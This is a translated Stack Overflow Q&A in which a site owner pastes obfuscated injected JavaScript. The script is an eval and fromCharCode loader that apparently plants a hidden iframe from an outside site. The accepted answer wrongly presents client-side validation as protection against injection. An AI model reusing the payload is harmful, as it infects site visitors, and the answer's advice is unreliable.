sql - 我的网站中存在 JavaScript 注入(inject)

标签 sql html-injections

因为我对“sql 注入(inject)”和“javascript 代码注入(inject)”这个概念很陌生。有些人不断地用一段代码攻击我的每一个 php 页面。攻击者不断地使用此代码进行攻击,并且该网站会显示“检测到恶意软件”。注入(inject)的代码是这样的

<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}
n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~57~56~47.5~50~50~21.5~51~51.5~57~56.5~24.5~24~25.5~22~51.5~54~22.5~53~54.5~53~22.5~51.5~54~49~49.5~59~22~55~51~55~18.5~15~58.5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15~51~49.5~51.5~50.5~51~57~29.5~18.5~23.5~23~18.5~15~56.5~57~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~51~51.5~49~49~49.5~54~28.5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~48~56.5~54.5~53~57.5~57~49.5~28.5~53~49.5~50~57~28~23~28.5~57~54.5~55~28~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19.5~28.5~5.5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~56~47.5~53.5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~29.5~15~49~54.5~48.5~57.5~53.5~49.5~54~57~22~48.5~56~49.5~47.5~57~49.5~33.5~53~49.5~53.5~49.5~54~57~19~18.5~51.5~50~56~47.5~53.5~49.5~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~56.5~56~48.5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~57~56~47.5~50~50~21.5~51~51.5~57~56.5~24.5~24~25.5~22~51.5~54~22.5~53~54.5~53~22.5~51.5~54~49~49.5~59~22~55~51~55~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~29.5~18.5~51~51.5~49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~55~54.5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47.5~48~56.5~54.5~53~57.5~57~49.5~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~57~54.5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58.5~51.5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~51~49.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~22~47.5~55~55~49.5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=583;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>

任何人都可以指导攻击者如何不断攻击每个页面。我的网站是一个高流量网站。任何建议都将得到高度重视。

问候, phphunger...

最佳答案

您还阅读了

What is SQl Injection ?HTML and JavaScript Injection这两篇文章可以帮助您理解概念,并让您了解如何处理这个问题...

如果您想停止,则开始在输入控件上放置 vlidation

  1. 使用 javascript 验证屏幕上的每个输入控件,即不允许在输入框中输入任何特殊的章程。为了验证这一点,您在 google 上找不到可以停止 javascript 和 sql 注入(inject)的示例。

  2. 使用在您的站点中停止 sql 注入(inject)的参数,Prameter 意味着当您对数据库执行任何操作时,使用参数创建 prodeucrue 并将此参数值从停止 sql 注入(inject)的代码中应用到您的 procuedre 中。

关于sql - 我的网站中存在 JavaScript 注入(inject),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9919414/

相关文章:

html - 如何安全地注入(inject) HTML 代码(避免 HTML 注入(inject))

javascript - XSS(跨站脚本)与 HTML 注入(inject)

C# MySQL 错误 System.Data.SqlClient.SqlException :

html - 为什么这 5(6?)个字符被视为 "unsafe"HTML 字符?

php - 获取多行的年份部分

mysql - SQL 查询优化 - 移除 Not In 运算符

python - 我们如何防止 FastAPI 中的 html 注入(inject)?

angular - 在重定向到新的 SPA 页面时在 header 中传递身份验证 token

java - Java.sql 的 getRow() 线程安全吗?

sql - BigQuery 和标准 SQL : how to group by arbitrary day interval